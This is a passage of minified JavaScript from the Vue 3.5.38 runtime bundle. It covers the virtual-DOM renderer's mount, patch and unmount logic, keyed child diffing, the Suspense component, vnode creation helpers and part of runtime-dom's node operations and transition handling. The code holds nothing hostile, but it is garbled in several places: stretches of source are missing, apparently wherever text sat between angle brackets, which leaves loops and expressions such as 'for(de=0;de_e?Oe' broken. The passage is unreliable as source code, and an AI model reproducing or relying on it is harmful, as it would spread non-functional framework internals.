G)&&i(S,me,P[me],null,fe,he);for(const me in G){if(en(me))continue;const we=G[me],J=P[me];we!==J&&me!=="value"&&i(S,me,J,we,fe,he)}"value"in G&&i(S,"value",P.value,G.value,fe)}},I=(S,P,G,he,fe,me,we,J,ie)=>{const X=P.el=S?S.el:o(""),_e=P.anchor=S?S.anchor:o("");let{patchFlag:U,dynamicChildren:de,slotScopeIds:ge}=P;ge&&(J=J?J.concat(ge):ge),S==null?(a(X,G,he),a(_e,G,he),L(P.children||[],G,_e,fe,me,we,J,ie)):U>0&&U&64&&de&&S.dynamicChildren&&S.dynamicChildren.length===de.length?(F(S.dynamicChildren,de,G,fe,me,we,J),(P.key!=null||fe&&P===fe.subTree)&&fu(S,P,!0)):$(S,P,G,_e,fe,me,we,J,ie)},H=(S,P,G,he,fe,me,we,J,ie)=>{P.slotScopeIds=J,S==null?P.shapeFlag&512?fe.ctx.activate(P,G,he,we,ie):te(P,G,he,fe,me,we,ie):ee(S,P,ie)},te=(S,P,G,he,fe,me,we)=>{const J=S.component=Qv(S,he,fe);if(mo(S)&&(J.ctx.renderer=j),Xv(J,!1,we),J.asyncDep){if(fe&&fe.registerDep(J,N,we),!S.el){const ie=J.subTree=Bt(Zt);A(null,ie,P,G),S.placeholder=ie.el}}else N(J,S,P,G,fe,me,we)},ee=(S,P,G)=>{const he=P.component=S.component;if(F0(S,P,G))if(he.asyncDep&&!he.asyncResolved){M(he,P,G);return}else he.next=P,he.update();else P.el=S.el,he.vnode=P},N=(S,P,G,he,fe,me,we)=>{const J=()=>{if(S.isMounted){let{next:U,bu:de,u:ge,parent:Ae,vnode:$e}=S;{const Qe=zv(S);if(Qe){U&&(U.el=$e.el,M(S,U,we)),Qe.asyncDep.then(()=>{Qt(()=>{S.isUnmounted||X()},fe)});return}}let We=U,je;Hn(S,!1),U?(U.el=$e.el,M(S,U,we)):U=$e,de&&Di(de),(je=U.props&&U.props.onVnodeBeforeUpdate)&&Bs(je,Ae,U,$e),Hn(S,!0);const Xe=er(S),it=S.subTree;S.subTree=Xe,y(it,Xe,u(it.el),le(it),S,fe,me),U.el=Xe.el,We===null&&sc(S,Xe.el),ge&&Qt(ge,fe),(je=U.props&&U.props.onVnodeUpdated)&&Qt(()=>Bs(je,Ae,U,$e),fe)}else{let U;const{el:de,props:ge}=P,{bm:Ae,m:$e,parent:We,root:je,type:Xe}=S,it=sn(P);if(Hn(S,!1),Ae&&Di(Ae),!it&&(U=ge&&ge.onVnodeBeforeMount)&&Bs(U,We,P),Hn(S,!0),de&&xe){const Qe=()=>{S.subTree=er(S),xe(de,S.subTree,S,fe,null)};it&&Xe.__asyncHydrate?Xe.__asyncHydrate(de,S,Qe):Qe()}else{je.ce&&je.ce._hasShadowRoot()&&je.ce._injectChildStyle(Xe,S.parent?S.parent.type:void 0);const Qe=S.subTree=er(S);y(null,Qe,G,he,S,fe,me),P.el=Qe.el}if($e&&Qt($e,fe),!it&&(U=ge&&ge.onVnodeMounted)){const Qe=P;Qt(()=>Bs(U,We,Qe),fe)}(P.shapeFlag&256||We&&sn(We.vnode)&&We.vnode.shapeFlag&256)&&S.a&&Qt(S.a,fe),S.isMounted=!0,P=G=he=null}};S.scope.on();const ie=S.effect=new zl(J);S.scope.off();const X=S.update=ie.run.bind(ie),_e=S.job=ie.runIfDirty.bind(ie);_e.i=S,_e.id=S.uid,ie.scheduler=()=>tu(_e),Hn(S,!0),X()},M=(S,P,G)=>{P.component=S;const he=S.vnode.props;S.vnode=P,S.next=null,U0(S,P.props,he,G),q0(S,P.children,G),ln(),yp(S),on()},$=(S,P,G,he,fe,me,we,J,ie=!1)=>{const X=S&&S.children,_e=S?S.shapeFlag:0,U=P.children,{patchFlag:de,shapeFlag:ge}=P;if(de>0){if(de&128){ce(X,U,G,he,fe,me,we,J,ie);return}else if(de&256){re(X,U,G,he,fe,me,we,J,ie);return}}ge&8?(_e&16&&Oe(X,fe,me),U!==X&&d(G,U)):_e&16?ge&16?ce(X,U,G,he,fe,me,we,J,ie):Oe(X,fe,me,!0):(_e&8&&d(G,""),ge&16&&L(U,G,he,fe,me,we,J,ie))},re=(S,P,G,he,fe,me,we,J,ie)=>{S=S||Li,P=P||Li;const X=S.length,_e=P.length,U=Math.min(X,_e);let de;for(de=0;de_e?Oe(S,fe,me,!0,!1,U):L(P,G,he,fe,me,we,J,ie,U)},ce=(S,P,G,he,fe,me,we,J,ie)=>{let X=0;const _e=P.length;let U=S.length-1,de=_e-1;for(;X<=U&&X<=de;){const ge=S[X],Ae=P[X]=ie?Wa(P[X]):zs(P[X]);if(fa(ge,Ae))y(ge,Ae,G,null,fe,me,we,J,ie);else break;X++}for(;X<=U&&X<=de;){const ge=S[U],Ae=P[de]=ie?Wa(P[de]):zs(P[de]);if(fa(ge,Ae))y(ge,Ae,G,null,fe,me,we,J,ie);else break;U--,de--}if(X>U){if(X<=de){const ge=de+1,Ae=ge<_e?P[ge].el:he;for(;X<=de;)y(null,P[X]=ie?Wa(P[X]):zs(P[X]),G,Ae,fe,me,we,J,ie),X++}}else if(X>de)for(;X<=U;)Q(S[X],fe,me,!0),X++;else{const ge=X,Ae=X,$e=new Map;for(X=Ae;X<=de;X++){const Le=P[X]=ie?Wa(P[X]):zs(P[X]);Le.key!=null&&$e.set(Le.key,X)}let We,je=0;const Xe=de-Ae+1;let it=!1,Qe=0;const se=new Array(Xe);for(X=0;X=Xe){Q(Le,fe,me,!0);continue}let Te;if(Le.key!=null)Te=$e.get(Le.key);else for(We=Ae;We<=de;We++)if(se[We-Ae]===0&&fa(Le,P[We])){Te=We;break}Te===void 0?Q(Le,fe,me,!0):(se[Te-Ae]=X+1,Te>=Qe?Qe=Te:it=!0,y(Le,P[Te],G,null,fe,me,we,J,ie),je++)}const Re=it?V0(se):Li;for(We=Re.length-1,X=Xe-1;X>=0;X--){const Le=Ae+X,Te=P[Le],W=P[Le+1],De=Le+1<_e?W.el||Hv(W):he;se[X]===0?y(null,Te,G,De,fe,me,we,J,ie):it&&(We<0||X!==Re[We]?Z(Te,G,De,2):We--)}}},Z=(S,P,G,he,fe=null)=>{const{el:me,type:we,transition:J,children:ie,shapeFlag:X}=S;if(X&6){Z(S.component.subTree,P,G,he);return}if(X&128){S.suspense.move(P,G,he);return}if(X&64){we.move(S,P,G,j);return}if(we===rs){a(me,P,G);for(let U=0;UJ.enter(me),fe));else{const{leave:U,delayLeave:de,afterLeave:ge}=J,Ae=()=>{S.ctx.isUnmounted?n(me):a(me,P,G)},$e=()=>{const We=me._isLeaving||!!me[na];me._isLeaving&&me[na](!0),J.persisted&&!We?Ae():U(me,()=>{Ae(),ge&&ge()})};de?de(me,Ae,$e):$e()}else a(me,P,G)},Q=(S,P,G,he=!1,fe=!1)=>{const{type:me,props:we,ref:J,children:ie,dynamicChildren:X,shapeFlag:_e,patchFlag:U,dirs:de,cacheIndex:ge,memo:Ae}=S;if(U===-2&&(fe=!1),J!=null&&(ln(),$i(J,null,G,S,!0),on()),ge!=null&&(P.renderCache[ge]=void 0),_e&256){P.ctx.deactivate(S);return}const $e=_e&1&&de,We=!sn(S);let je;if(We&&(je=we&&we.onVnodeBeforeUnmount)&&Bs(je,P,S),_e&6)be(S.component,G,he);else{if(_e&128){S.suspense.unmount(G,he);return}$e&&Ia(S,null,P,"beforeUnmount"),_e&64?S.type.remove(S,P,G,j,he):X&&!X.hasOnce&&(me!==rs||U>0&&U&64)?Oe(X,P,G,!1,!0):(me===rs&&U&384||!fe&&_e&16)&&Oe(ie,P,G),he&&ae(S)}const Xe=Ae!=null&&ge==null;(We&&(je=we&&we.onVnodeUnmounted)||$e||Xe)&&Qt(()=>{je&&Bs(je,P,S),$e&&Ia(S,null,P,"unmounted"),Xe&&(S.el=null)},G)},ae=S=>{const{type:P,el:G,anchor:he,transition:fe}=S;if(P===rs){V(G,he);return}if(P===Xn){x(S);return}const me=()=>{n(G),fe&&!fe.persisted&&fe.afterLeave&&fe.afterLeave()};if(S.shapeFlag&1&&fe&&!fe.persisted){const{leave:we,delayLeave:J}=fe,ie=()=>we(G,me);J?J(S.el,me,ie):ie()}else me()},V=(S,P)=>{let G;for(;S!==P;)G=p(S),n(S),S=G;n(P)},be=(S,P,G)=>{const{bum:he,scope:fe,job:me,subTree:we,um:J,m:ie,a:X}=S;hr(ie),hr(X),he&&Di(he),fe.stop(),me&&(me.flags|=8,Q(we,S,P,G)),J&&Qt(J,P),Qt(()=>{S.isUnmounted=!0},P)},Oe=(S,P,G,he=!1,fe=!1,me=0)=>{for(let we=me;we{if(S.shapeFlag&6)return le(S.component.subTree);if(S.shapeFlag&128)return S.suspense.next();const P=p(S.anchor||S.el),G=P&&P[dv];return G?p(G):P};let oe=!1;const ve=(S,P,G)=>{let he;S==null?P._vnode&&(Q(P._vnode,null,null,!0),he=P._vnode.component):y(P._vnode||null,S,P,null,null,null,G),P._vnode=S,oe||(oe=!0,yp(he),fr(),oe=!1)},j={p:y,um:Q,m:Z,r:ae,mt:te,mc:L,pc:$,pbc:F,n:le,o:e};let Y,xe;return t&&([Y,xe]=t(j)),{render:ve,hydrate:Y,createApp:O0(ve,Y)}}function $c({type:e,props:t},s){return s==="svg"&&e==="foreignObject"||s==="mathml"&&e==="annotation-xml"&&t&&t.encoding&&t.encoding.includes("html")?void 0:s}function Hn({effect:e,job:t},s){s?(e.flags|=32,t.flags|=4):(e.flags&=-33,t.flags&=-5)}function Uv(e,t){return(!e||e&&!e.pendingBranch)&&t&&!t.persisted}function fu(e,t,s=!1){const a=e.children,n=t.children;if(Me(a)&&Me(n))for(let i=0;i>1,e[s[o]]0&&(t[a]=s[i-1]),s[i]=a)}}for(i=s.length,l=s[i-1];i-- >0;)s[i]=l,l=t[l];return s}function zv(e){const t=e.subTree.component;if(t)return t.asyncDep&&!t.asyncResolved?t:zv(t)}function hr(e){if(e)for(let t=0;te.__isSuspense;let vd=0;const G0={name:"Suspense",__isSuspense:!0,process(e,t,s,a,n,i,l,o,r,c){if(e==null)K0(t,s,a,n,i,l,o,r,c);else{if(i&&i.deps>0&&!e.suspense.isInFallback){t.suspense=e.suspense,t.suspense.vnode=t,t.el=e.el;return}J0(e,t,s,a,n,l,o,r,c)}},hydrate:Z0,normalize:Q0},W0=G0;function Kl(e,t){const s=e.props&&e.props[t];Ve(s)&&s()}function K0(e,t,s,a,n,i,l,o,r){const{p:c,o:{createElement:d}}=r,u=d("div"),p=e.suspense=jv(e,n,a,t,u,s,i,l,o,r);c(null,p.pendingBranch=e.ssContent,u,null,a,p,i,l),p.deps>0?(Kl(e,"onPending"),Kl(e,"onFallback"),c(null,e.ssFallback,t,s,a,null,i,l),Fi(p,e.ssFallback)):p.resolve(!1,!0)}function J0(e,t,s,a,n,i,l,o,{p:r,um:c,o:{createElement:d}}){const u=t.suspense=e.suspense;u.vnode=t,t.el=e.el;const p=t.ssContent,m=t.ssFallback,{activeBranch:h,pendingBranch:y,isInFallback:k,isHydrating:A}=u;if(y)u.pendingBranch=p,fa(y,p)?(r(y,p,u.hiddenContainer,null,n,u,i,l,o),u.deps<=0?u.resolve():k&&(A||(r(h,m,s,a,n,null,i,l,o),Fi(u,m)))):(u.pendingId=vd++,A?(u.isHydrating=!1,u.activeBranch=y):c(y,n,u),u.deps=0,u.effects.length=0,u.hiddenContainer=d("div"),k?(r(null,p,u.hiddenContainer,null,n,u,i,l,o),u.deps<=0?u.resolve():(r(h,m,s,a,n,null,i,l,o),Fi(u,m))):h&&fa(h,p)?(r(h,p,s,a,n,u,i,l,o),u.resolve(!0)):(r(null,p,u.hiddenContainer,null,n,u,i,l,o),u.deps<=0&&u.resolve()));else if(h&&fa(h,p))r(h,p,s,a,n,u,i,l,o),Fi(u,p);else if(Kl(t,"onPending"),u.pendingBranch=p,p.shapeFlag&512?u.pendingId=p.component.suspenseId:u.pendingId=vd++,r(null,p,u.hiddenContainer,null,n,u,i,l,o),u.deps<=0)u.resolve();else{const{timeout:g,pendingId:b}=u;g>0?setTimeout(()=>{u.pendingId===b&&u.fallback(m)},g):g===0&&u.fallback(m)}}function jv(e,t,s,a,n,i,l,o,r,c,d=!1){const{p:u,m:p,um:m,n:h,o:{parentNode:y,remove:k}}=c;let A;const g=Y0(e);g&&t&&t.pendingBranch&&(A=t.pendingId,t.deps++);const b=e.props?rr(e.props.timeout):void 0,x=i,w={vnode:e,parent:t,parentComponent:s,namespace:l,container:a,hiddenContainer:n,deps:0,pendingId:vd++,timeout:typeof b=="number"?b:-1,activeBranch:null,isFallbackMountPending:!1,pendingBranch:null,isInFallback:!d,isHydrating:d,isUnmounted:!1,effects:[],resolve(_=!1,T=!1){const{vnode:L,activeBranch:E,pendingBranch:F,pendingId:O,effects:I,parentComponent:H,container:te,isInFallback:ee}=w;let N=!1;if(w.isHydrating)w.isHydrating=!1;else if(!_){N=E&&F.transition&&F.transition.mode==="out-in";let re=!1;N&&(E.transition.afterLeave=()=>{O===w.pendingId&&(p(F,te,i===x&&!re?h(E):i,0),ql(I),ee&&L.ssFallback&&(L.ssFallback.el=null))}),E&&!w.isFallbackMountPending&&(y(E.el)===te&&(i=h(E),re=!0),m(E,H,w,!0),!N&&ee&&L.ssFallback&&Qt(()=>L.ssFallback.el=null,w)),N||p(F,te,i,0)}w.isFallbackMountPending=!1,Fi(w,F),w.pendingBranch=null,w.isInFallback=!1;let M=w.parent,$=!1;for(;M;){if(M.pendingBranch){M.effects.push(...I),$=!0;break}M=M.parent}!$&&!N&&ql(I),w.effects=[],g&&t&&t.pendingBranch&&A===t.pendingId&&(t.deps--,t.deps===0&&!T&&t.resolve()),Kl(L,"onResolve")},fallback(_){if(!w.pendingBranch)return;const{vnode:T,activeBranch:L,parentComponent:E,container:F,namespace:O}=w;Kl(T,"onFallback");const I=h(L),H=()=>{w.isFallbackMountPending=!1,w.isInFallback&&(u(null,_,F,I,E,null,O,o,r),Fi(w,_))},te=_.transition&&_.transition.mode==="out-in";te&&(w.isFallbackMountPending=!0,L.transition.afterLeave=H),w.isInFallback=!0,m(L,E,null,!0),te||H()},move(_,T,L){w.activeBranch&&p(w.activeBranch,_,T,L),w.container=_},next(){return w.activeBranch&&h(w.activeBranch)},registerDep(_,T,L){const E=!!w.pendingBranch;E&&w.deps++;const F=_.vnode.el;_.asyncDep.catch(O=>{ci(O,_,0)}).then(O=>{if(_.isUnmounted||w.isUnmounted||w.pendingId!==_.suspenseId)return;Ql(),_.asyncResolved=!0;const{vnode:I}=_;hd(_,O,!1),F&&(I.el=F);const H=!F&&_.subTree.el;T(_,I,y(F||_.subTree.el),F?null:h(_.subTree),w,l,L),H&&(I.placeholder=null,k(H)),sc(_,I.el),E&&--w.deps===0&&w.resolve()})},unmount(_,T){w.isUnmounted=!0,w.activeBranch&&m(w.activeBranch,s,_,T),w.pendingBranch&&m(w.pendingBranch,s,_,T)}};return w}function Z0(e,t,s,a,n,i,l,o,r){const c=t.suspense=jv(t,a,s,e.parentNode,document.createElement("div"),null,n,i,l,o,!0),d=r(e,c.pendingBranch=t.ssContent,s,c,i,l);return c.deps===0&&c.resolve(!1,!0),d}function Q0(e){const{shapeFlag:t,children:s}=e,a=t&32;e.ssContent=Np(a?s.default:s),e.ssFallback=a?Np(s.fallback):Bt(Zt)}function Np(e){let t;if(Ve(e)){const s=si&&e._c;s&&(e._d=!1,Jl()),e=e(),s&&(e._d=!0,t=ks,Vv())}return Me(e)&&(e=D0(e)),e=zs(e),t&&!e.dynamicChildren&&(e.dynamicChildren=t.filter(s=>s!==e)),e}function qv(e,t){t&&t.pendingBranch?Me(e)?t.effects.push(...e):t.effects.push(e):ql(e)}function Fi(e,t){e.activeBranch=t;const{vnode:s,parentComponent:a}=e;let n=t.el;for(;!n&&t.component;)t=t.component.subTree,n=t.el;s.el=n,a&&a.subTree===s&&(a.vnode.el=n,sc(a,n))}function Y0(e){const t=e.props&&e.props.suspensible;return t!=null&&t!==!1}const rs=Symbol.for("v-fgt"),On=Symbol.for("v-txt"),Zt=Symbol.for("v-cmt"),Xn=Symbol.for("v-stc"),Dl=[];let ks=null;function Jl(e=!1){Dl.push(ks=e?null:[])}function Vv(){Dl.pop(),ks=Dl[Dl.length-1]||null}let si=1;function Zl(e,t=!1){si+=e,e<0&&ks&&t&&(ks.hasOnce=!0)}function Gv(e){return e.dynamicChildren=si>0?ks||Li:null,Vv(),si>0&&ks&&ks.push(e),e}function X0(e,t,s,a,n,i){return Gv(mu(e,t,s,a,n,i,!0))}function br(e,t,s,a,n){return Gv(Bt(e,t,s,a,n,!0))}function cn(e){return e?e.__v_isVNode===!0:!1}function fa(e,t){return e.type===t.type&&e.key===t.key}function e_(e){}const Wv=({key:e})=>e??null,tr=({ref:e,ref_key:t,ref_for:s})=>(typeof e=="number"&&(e=""+e),e!=null?Ze(e)||Xt(e)||Ve(e)?{i:ms,r:e,k:t,f:!!s}:e:null);function mu(e,t=null,s=null,a=0,n=null,i=e===rs?0:1,l=!1,o=!1){const r={__v_isVNode:!0,__v_skip:!0,type:e,props:t,key:t&&Wv(t),ref:t&&tr(t),scopeId:Zr,slotScopeIds:null,children:s,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetStart:null,targetAnchor:null,staticCount:0,shapeFlag:i,patchFlag:a,dynamicProps:n,dynamicChildren:null,appContext:null,ctx:ms};return o?(hu(r,s),i&128&&e.normalize(r)):s&&(r.shapeFlag|=Ze(s)?8:16),si>0&&!l&&ks&&(r.patchFlag>0||i&6)&&r.patchFlag!==32&&ks.push(r),r}const Bt=t_;function t_(e,t=null,s=null,a=0,n=null,i=!1){if((!e||e===wv)&&(e=Zt),cn(e)){const o=Ma(e,t,!0);return s&&hu(o,s),si>0&&!i&&ks&&(o.shapeFlag&6?ks[ks.indexOf(e)]=o:ks.push(o)),o.patchFlag=-2,o}if(r_(e)&&(e=e.__vccOpts),t){t=Kv(t);let{class:o,style:r}=t;o&&!Ze(o)&&(t.class=co(o)),ht(r)&&(uo(r)&&!Me(r)&&(r=lt({},r)),t.style=ro(r))}const l=Ze(e)?1:gr(e)?128:uv(e)?64:ht(e)?4:Ve(e)?2:0;return mu(e,t,s,a,n,l,i,!0)}function Kv(e){return e?uo(e)||Ov(e)?lt({},e):e:null}function Ma(e,t,s=!1,a=!1){const{props:n,ref:i,patchFlag:l,children:o,transition:r}=e,c=t?Zv(n||{},t):n,d={__v_isVNode:!0,__v_skip:!0,type:e.type,props:c,key:c&&Wv(c),ref:t&&t.ref?s&&i?Me(i)?i.concat(tr(t)):[i,tr(t)]:tr(t):i,scopeId:e.scopeId,slotScopeIds:e.slotScopeIds,children:o,target:e.target,targetStart:e.targetStart,targetAnchor:e.targetAnchor,staticCount:e.staticCount,shapeFlag:e.shapeFlag,patchFlag:t&&e.type!==rs?l===-1?16:l|16:l,dynamicProps:e.dynamicProps,dynamicChildren:e.dynamicChildren,appContext:e.appContext,dirs:e.dirs,transition:r,component:e.component,suspense:e.suspense,ssContent:e.ssContent&&Ma(e.ssContent),ssFallback:e.ssFallback&&Ma(e.ssFallback),placeholder:e.placeholder,el:e.el,anchor:e.anchor,ctx:e.ctx,ce:e.ce};return r&&a&&rn(d,r.clone(d)),d}function vu(e=" ",t=0){return Bt(On,null,e,t)}function s_(e,t){const s=Bt(Xn,null,e);return s.staticCount=t,s}function Jv(e="",t=!1){return t?(Jl(),br(Zt,null,e)):Bt(Zt,null,e)}function zs(e){return e==null||typeof e=="boolean"?Bt(Zt):Me(e)?Bt(rs,null,e.slice()):cn(e)?Wa(e):Bt(On,null,String(e))}function Wa(e){return e.el===null&&e.patchFlag!==-1||e.memo?e:Ma(e)}function hu(e,t){let s=0;const{shapeFlag:a}=e;if(t==null)t=null;else if(Me(t))s=16;else if(typeof t=="object")if(a&65){const n=t.default;n&&(n._c&&(n._d=!1),hu(e,n()),n._c&&(n._d=!0));return}else{s=32;const n=t._;!n&&!Ov(t)?t._ctx=ms:n===3&&ms&&(ms.slots._===1?t._=1:(t._=2,e.patchFlag|=1024))}else Ve(t)?(t={default:t,_ctx:ms},s=32):(t=String(t),a&64?(s=16,t=[vu(t)]):s=8);e.children=t,e.shapeFlag|=s}function Zv(...e){const t={};for(let s=0;sfs||ms;let yr,Bi;{const e=qr(),t=(s,a)=>{let n;return(n=e[s])||(n=e[s]=[]),n.push(a),i=>{n.length>1?n.forEach(l=>l(i)):n[0](i)}};yr=t("__VUE_INSTANCE_SETTERS__",s=>fs=s),Bi=t("__VUE_SSR_SETTERS__",s=>ai=s)}const sl=e=>{const t=fs;return yr(e),e.scope.on(),()=>{e.scope.off(),yr(t)}},Ql=()=>{fs&&fs.scope.off(),yr(null)};function Yv(e){return e.vnode.shapeFlag&4}let ai=!1;function Xv(e,t=!1,s=!1){t&&Bi(t);const{props:a,children:n}=e.vnode,i=Yv(e);B0(e,a,i,t),j0(e,n,s||t);const l=i?i_(e,t):void 0;return t&&Bi(!1),l}function i_(e,t){const s=e.type;e.accessCache=Object.create(null),e.proxy=new Proxy(e.ctx,ud);const{setup:a}=s;if(a){ln();const n=e.setupContext=a.length>1?sh(e):null,i=sl(e),l=tl(a,e,0,[e.props,n]),o=Wd(l);if(on(),i(),(o||e.sp)&&!sn(e)&&iu(e),o){if(l.then(Ql,Ql),t)return l.then(r=>{hd(e,r,t)}).catch(r=>{ci(r,e,0)});e.asyncDep=l}else hd(e,l,t)}else th(e,t)}function hd(e,t,s){Ve(t)?e.type.__ssrInlineRender?e.ssrRender=t:e.render=t:ht(t)&&(e.setupState=eu(t)),th(e,s)}let xr,gd;function eh(e){xr=e,gd=t=>{t.render._rc&&(t.withProxy=new Proxy(t.ctx,u0))}}const l_=()=>!xr;function th(e,t,s){const a=e.type;if(!e.render){if(!t&&xr&&!a.render){const n=a.template||du(e).template;if(n){const{isCustomElement:i,compilerOptions:l}=e.appContext.config,{delimiters:o,compilerOptions:r}=a,c=lt(lt({isCustomElement:i,delimiters:o},l),r);a.render=xr(n,c)}}e.render=a.render||vs,gd&&gd(e)}{const n=sl(e);ln();try{C0(e)}finally{on(),n()}}}const o_={get(e,t){return ws(e,"get",""),e[t]}};function sh(e){const t=s=>{e.exposed=s||{}};return{attrs:new Proxy(e.attrs,o_),slots:e.slots,emit:e.emit,expose:t}}function vo(e){return e.exposed?e.exposeProxy||(e.exposeProxy=new Proxy(eu(Zm(e.exposed)),{get(t,s){if(s in t)return t[s];if(s in Ml)return Ml[s](e)},has(t,s){return s in t||s in Ml}})):e.proxy}function bd(e,t=!0){return Ve(e)?e.displayName||e.name:e.name||t&&e.__name}function r_(e){return Ve(e)&&"__vccOpts"in e}const B=(e,t)=>mx(e,t,ai);function qi(e,t,s){try{Zl(-1);const a=arguments.length;return a===2?ht(t)&&!Me(t)?cn(t)?Bt(e,null,[t]):Bt(e,t):Bt(e,null,t):(a>3?s=Array.prototype.slice.call(arguments,2):a===3&&cn(s)&&(s=[s]),Bt(e,t,s))}finally{Zl(1)}}function c_(){}function d_(e,t,s,a){const n=s[a];if(n&&ah(n,e))return n;const i=t();return i.memo=e.slice(),i.cacheIndex=a,s[a]=i}function ah(e,t){const s=e.memo;if(s.length!=t.length)return!1;for(let a=0;a0&&ks&&ks.push(e),!0}const nh="3.5.38",u_=vs,p_=kx,f_=Ti,m_=iv,v_={createComponentInstance:Qv,setupComponent:Xv,renderComponentRoot:er,setCurrentRenderingInstance:Gl,isVNode:cn,normalizeVNode:zs,getComponentPublicInstance:vo,ensureValidVNode:cu,pushWarningContext:yx,popWarningContext:xx},h_=v_,g_=null,b_=null,y_=null;/** -* @vue/runtime-dom v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/let yd;const Mp=typeof window<"u"&&window.trustedTypes;if(Mp)try{yd=Mp.createPolicy("vue",{createHTML:e=>e})}catch{}const ih=yd?e=>yd.createHTML(e):e=>e,x_="http://www.w3.org/2000/svg",__="http://www.w3.org/1998/Math/MathML",Ga=typeof document<"u"?document:null,Dp=Ga&&Ga.createElement("template"),lh={insert:(e,t,s)=>{t.insertBefore(e,s||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,s,a)=>{const n=t==="svg"?Ga.createElementNS(x_,e):t==="mathml"?Ga.createElementNS(__,e):s?Ga.createElement(e,{is:s}):Ga.createElement(e);return e==="select"&&a&&a.multiple!=null&&n.setAttribute("multiple",a.multiple),n},createText:e=>Ga.createTextNode(e),createComment:e=>Ga.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>Ga.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,s,a,n,i){const l=s?s.previousSibling:t.lastChild;if(n&&(n===i||n.nextSibling))for(;t.insertBefore(n.cloneNode(!0),s),!(n===i||!(n=n.nextSibling)););else{Dp.innerHTML=ih(a==="svg"?`${e}`:a==="mathml"?`${e}`:e);const o=Dp.content;if(a==="svg"||a==="mathml"){const r=o.firstChild;for(;r.firstChild;)o.appendChild(r.firstChild);o.removeChild(r)}t.insertBefore(o,s)}return[l?l.nextSibling:t.firstChild,s?s.previousSibling:t.lastChild]}},_n="transition",fl="animation",Vi=Symbol("_vtc"),oh={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String},rh=lt({},nu,oh),w_=e=>(e.displayName="Transition",e.props=rh,e),k_=w_((e,{slots:t})=>qi(mv,ch(e),t)),jn=(e,t=[])=>{Me(e)?e.forEach(s=>s(...t)):e&&e(...t)},Pp=e=>e?Me(e)?e.some(t=>t.length>1):e.length>1:!1;function ch(e){const t={};for(const I in e)I in oh||(t[I]=e[I]);if(e.css===!1)return t;const{name:s="v",type:a,duration:n,enterFromClass:i=`${s}-enter-from`,enterActiveClass:l=`${s}-enter-active`,enterToClass:o=`${s}-enter-to`,appearFromClass:r=i,appearActiveClass:c=l,appearToClass:d=o,leaveFromClass:u=`${s}-leave-from`,leaveActiveClass:p=`${s}-leave-active`,leaveToClass:m=`${s}-leave-to`}=e,h=S_(n),y=h&&h[0],k=h&&h[1],{onBeforeEnter:A,onEnter:g,onEnterCancelled:b,onLeave:x,onLeaveCancelled:w,onBeforeAppear:_=A,onAppear:T=g,onAppearCancelled:L=b}=t,E=(I,H,te,ee)=>{I._enterCancelled=ee,Cn(I,H?d:o),Cn(I,H?c:l),te&&te()},F=(I,H)=>{I._isLeaving=!1,Cn(I,u),Cn(I,m),Cn(I,p),H&&H()},O=I=>(H,te)=>{const ee=I?T:g,N=()=>E(H,I,te);jn(ee,[H,N]),$p(()=>{Cn(H,I?r:i),Ta(H,I?d:o),Pp(ee)||Fp(H,a,y,N)})};return lt(t,{onBeforeEnter(I){jn(A,[I]),Ta(I,i),Ta(I,l)},onBeforeAppear(I){jn(_,[I]),Ta(I,r),Ta(I,c)},onEnter:O(!1),onAppear:O(!0),onLeave(I,H){I._isLeaving=!0;const te=()=>F(I,H);Ta(I,u),I._enterCancelled?(Ta(I,p),xd(I)):(xd(I),Ta(I,p)),$p(()=>{I._isLeaving&&(Cn(I,u),Ta(I,m),Pp(x)||Fp(I,a,k,te))}),jn(x,[I,te])},onEnterCancelled(I){E(I,!1,void 0,!0),jn(b,[I])},onAppearCancelled(I){E(I,!0,void 0,!0),jn(L,[I])},onLeaveCancelled(I){F(I),jn(w,[I])}})}function S_(e){if(e==null)return null;if(ht(e))return[Fc(e.enter),Fc(e.leave)];{const t=Fc(e);return[t,t]}}function Fc(e){return rr(e)}function Ta(e,t){t.split(/\s+/).forEach(s=>s&&e.classList.add(s)),(e[Vi]||(e[Vi]=new Set)).add(t)}function Cn(e,t){t.split(/\s+/).forEach(a=>a&&e.classList.remove(a));const s=e[Vi];s&&(s.delete(t),s.size||(e[Vi]=void 0))}function $p(e){requestAnimationFrame(()=>{requestAnimationFrame(e)})}let C_=0;function Fp(e,t,s,a){const n=e._endId=++C_,i=()=>{n===e._endId&&a()};if(s!=null)return setTimeout(i,s);const{type:l,timeout:o,propCount:r}=dh(e,t);if(!l)return a();const c=l+"end";let d=0;const u=()=>{e.removeEventListener(c,p),i()},p=m=>{m.target===e&&++d>=r&&u()};setTimeout(()=>{d(s[h]||"").split(", "),n=a(`${_n}Delay`),i=a(`${_n}Duration`),l=Bp(n,i),o=a(`${fl}Delay`),r=a(`${fl}Duration`),c=Bp(o,r);let d=null,u=0,p=0;t===_n?l>0&&(d=_n,u=l,p=i.length):t===fl?c>0&&(d=fl,u=c,p=r.length):(u=Math.max(l,c),d=u>0?l>c?_n:fl:null,p=d?d===_n?i.length:r.length:0);const m=d===_n&&/\b(?:transform|all)(?:,|$)/.test(a(`${_n}Property`).toString());return{type:d,timeout:u,propCount:p,hasTransform:m}}function Bp(e,t){for(;e.lengthUp(s)+Up(e[a])))}function Up(e){return e==="auto"?0:Number(e.slice(0,-1).replace(",","."))*1e3}function xd(e){return(e?e.ownerDocument:document).body.offsetHeight}function T_(e,t,s){const a=e[Vi];a&&(t=(t?[t,...a]:[...a]).join(" ")),t==null?e.removeAttribute("class"):s?e.setAttribute("class",t):e.className=t}const 